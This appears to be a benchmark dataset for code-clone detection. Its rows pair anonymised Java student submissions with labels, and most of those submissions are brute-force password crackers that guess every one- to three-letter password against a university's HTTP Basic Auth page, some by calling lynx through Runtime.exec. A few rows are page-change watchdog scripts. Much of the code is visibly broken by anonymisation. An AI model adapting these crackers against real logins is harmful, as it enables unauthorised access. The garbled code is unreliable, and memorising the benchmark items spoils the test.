p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
058.java
197.java
0
import java.io.*; import java.util.*; import java.net.*; public class BruteForce { public BruteForce() { } public static void main(String[] args) { String[] validPW = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" }; String attackWP = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; String userID = ""; int trytimes = 0; int count=52; String userPassword=""; try { startmillisecond = System.currentTimeMillis(); for (int i = 0; i < count; i++) { for (int j = 0; j < count; j++) { for (int k = 0; k < count; k++) { trytimes ++; userPassword = userID + ":" + validPW[i] + validPW[j] + validPW[k]; int attackOK = new BruteForce().attackURL(userPassword, attackWP); if (attackOK == 1) { endmillisecond = System.currentTimeMillis(); searchmillisecond = endmillisecond - startmillisecond; System.out.println("Match in " + searchmillisecond + " milliseconds "); System.out.println("Try " + trytimes + " times "); System.exit(1); } } } } for (int i = 0; i < count; i++) { for (int j = 0; j < count; j++) { trytimes ++; userPassword = userID + ":" + validPW[i] + validPW[j]; int attackOK = new BruteForce().attackURL(userPassword, attackWP); if (attackOK == 1) { endmillisecond = System.currentTimeMillis(); searchmillisecond = endmillisecond - startmillisecond; System.out.println("Match in " + searchmillisecond + " milliseconds "); System.out.println("Try " + trytimes + " times "); System.exit(1); } } } for (int i = 0; i < count; i++) { userPassword = userID + ":" + validPW[i]; trytimes ++; int attackOK = new BruteForce().attackURL(userPassword, attackWP); if (attackOK == 1) { endmillisecond = System.currentTimeMillis(); searchmillisecond = endmillisecond - startmillisecond; System.out.println("Match in " + searchmillisecond + " milliseconds "); System.out.println("Try " + trytimes + " times "); System.exit(1); } } } catch (Exception ioe) { System.out.println(ioe.getMessage()); } finally { } } public int attackURL(String userPassword, String attackWP) { int rtn = 1; try { URL url = new URL(attackWP); System.out.println("User & Password :" + userPassword); String encoding = Base64Converter.encode (userPassword.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty ("Authorization", " " + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { System.out.println(line); } } catch (MalformedURLException e) { rtn = 2; System.out.println("Invalid URL"); } catch (IOException e) { System.out.println("Error URL"); rtn = 2; } return rtn; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
251.java
197.java
0
import java.util.*; import java.io.*; public class WatchDog { public WatchDog() { } public static void main(String args[]) { DataInputStream newin; try{ System.out.println("Downloading first copy"); Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html"); String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"}; String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"}; while(true){ Thread.sleep(24*60*60*1000); System.out.println("Downloading new copy"); Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html"); Thread.sleep(2000); Runtime.getRuntime().exec(cmdDiff); Thread.sleep(2000); newin = new DataInputStream( new FileInputStream( "Diff.txt")); if (newin.readLine() != null){ System.out.println("Sending Mail"); Runtime.getRuntime().exec(cmdMail); Runtime.getRuntime().exec("cp newfile.html oldfile.html"); } } } catch(Exception e){ e.printStackTrace(); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
173.java
197.java
0
import java.util.*; import java.io.*; import java.net.*; public class Watchdog extends TimerTask { public void run() { Runtime t = Runtime.getRuntime(); Process pr= null; String Fmd5,Smd5,temp1; int index; try { pr = t.exec("md5sum csfirst.html"); InputStreamReader stre = new InputStreamReader(pr.getInputStream()); BufferedReader bread = new BufferedReader(stre); s = bread.readLine(); index = s.indexOf(' '); Fmd5 = s.substring(0,index); System.out.println(Fmd5); pr = null; pr = t.exec("wget http://www.cs.rmit.edu./students/"); pr = null; pr = t.exec("md5sum index.html"); InputStreamReader stre1 = new InputStreamReader(pr.getInputStream()); BufferedReader bread1 = new BufferedReader(stre1); temp1 = bread1.readLine(); index = temp1.indexOf(' '); Smd5 = temp1.substring(0,index); System.out.println(Smd5); pr = null; if(Fmd5 == Smd5) System.out.println(" changes Detected"); else { pr = t.exec("diff csfirst.html index.html > report.html"); pr = null; try{ Thread.sleep(10000); }catch(Exception e){} pr = t.exec(" Message.txt | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu."); } }catch(java.io.IOException e){} } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
045.java
197.java
0
import java.io.*; import java.net.*; import java.text.*; import java.util.*; class BruteForce { String password=""; int num =401; public static void main (String[] args) { String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; BruteForce URLcon; int length = 0; String passwd=""; int t0,t1; if (args.length == 0) { System.err.println ( "Usage : java BruteForce <username>"); return; } String username = args[0]; t0=System.currentTimeMillis(); System.out.println (" " + new Date()); System.out.println ("Using BruteForce method attack "+username+"'s password.Please waiting......."); for (int i=0;i<str.length();i++){ passwd=str.substring(i,i+1); URLcon = new BruteForce (passwd,username); if ((URLcon.num)!=401) { t1=System.currentTimeMillis(); System.out.println("The password: "+ passwd); double dt =t1-t0; System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds."); System.out.println ("Finish " + new Date()); return; } for (int j=0;j<str.length();j++){ passwd =str.substring(i,i+1)+str.substring(j,j+1); URLcon = new BruteForce (passwd,username); if ((URLcon.num)!=401) { t1=System.currentTimeMillis(); System.out.println("The password: "+ passwd); double dt =t1-t0; System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds."); System.out.println ("Finish " + new Date()); return; } for (int m=0;m<str.length();m++){ passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1); URLcon = new BruteForce (passwd,username); if ((URLcon.num)!=401) { t1=System.currentTimeMillis(); System.out.println("The password: "+ passwd); double dt =t1-t0; System.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds."); System.out.println ("Finish " + new Date()); return; } } } } System.out.println(" not find the password"); } public BruteForce (String password, String username){ String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ; try { String userPassword = username+":"+password ; String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes()); URL url = new URL (urlString); HttpURLConnection uc = (HttpURLConnection) url.openConnection(); uc.setRequestProperty ("Authorization", " " + encoding); url = uc.getResponseCode(); } catch(MalformedURLException e){ System.out.println(e); }catch(IOException e){ System.out.println(e); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
143.java
197.java
0
import java.net.*; import java.io.*; import java.util.*; public class BruteForce{ private static URL location; private static String user; private BufferedReader input; private char [] password = {'A', 'A', 'A'}; private int noLetters = 3; public BruteForce() { Authenticator.setDefault(new MyAuthenticator ()); startTime = System.currentTimeMillis(); boolean passwordMatched = false; while (!passwordMatched) { try { input = new BufferedReader(new InputStreamReader(location.openStream())); String line = input.readLine(); while (line != null) { System.out.println(line); line = input.readLine(); } input.close(); passwordMatched = true; } catch (ProtocolException e) { } catch (ConnectException e) { System.out.println("Failed connect"); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } } endTime = System.currentTimeMillis(); System.out.println("Total Time: "+cad.concat(Math.toString(endTime - startTime))); } private char[] nextPassword() { char [] currentPassword = new char[noLetters]; for (int i=0; i<noLetters; i++) { currentPassword[i] = password[i]; } boolean loop = true; int i = noLetters - 1; while (loop ) { password[i]++; loop = false; if (password[i] > 'Z' && password[i] < 'a') { password[i] = 'a'; } else if (password[i] > 'z') { if (noLetters == 1 && i == 0) { System.out.println("Password not found"); System.exit(-1); } password[i] = 'A'; i--; loop = true; if (i<0) { noLetters--; for (int j=0; j <noLetters; j++) { password[j] = 'A'; loop = false; } } } } return currentPassword; } public static void main(String args[]) { if (args.length != 2) { System.out.println("Usage: java BruteForce url user"); System.exit(-1); } try { location = new URL(args[0]); } catch (MalformedURLException e) { e.printStackTrace(); } user = new String().concat(args[1]); new BruteForce(); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { char [] currentPassword = nextPassword(); System.out.print(user.concat("-")); System.out.println(currentPassword); return new PasswordAuthentication (user, currentPassword); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
050.java
197.java
0
import java.net.*; import java.io.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class makePasswords { public String [ ] alphabet1 = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}; public String [ ] alphabet2 = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}; public String [ ] alphabet3 = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}; Vector in = new Vector(); public void makePass() { try { PrintWriter pw = new PrintWriter(new FileWriter("new.txt")); for(int i = 0; i < alphabet1.length; i++) { for(int j = 0; j < alphabet2.length; j++) { for(int k = 0; k < alphabet3.length; k++) { String newStr = (alphabet1[i]+alphabet2[j]+alphabet3[k]); pw.println(newStr); } } } }catch(Exception ex){} } private StringTokenizer tokenizer; private BufferedReader bf; private String line; private String first; public void loadFile()throws NoSuchElementException, IOException { try{ bf = new BufferedReader(new FileReader("new.txt")); } catch(FileNotFoundException fe){} catch(IOException io){} while((line = bf.readLine())!=null) { int index = 0; tokenizer = new StringTokenizer(line); try { first = tokenizer.nextToken(); if (first.length() == 3) { in.add(first); } } catch(NoSuchElementException n) { System.out.println("File Loaded Succesfully"); } } } public Vector getVector() { return in; } public static void main(String args[]) { makePasswords mP = new makePasswords(); mP.makePass(); Vector v = mP.getVector(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }

No dataset card yet

New: Create and edit this dataset card directly on the website!

Contribute a Dataset Card
Downloads last month
0
Add dataset card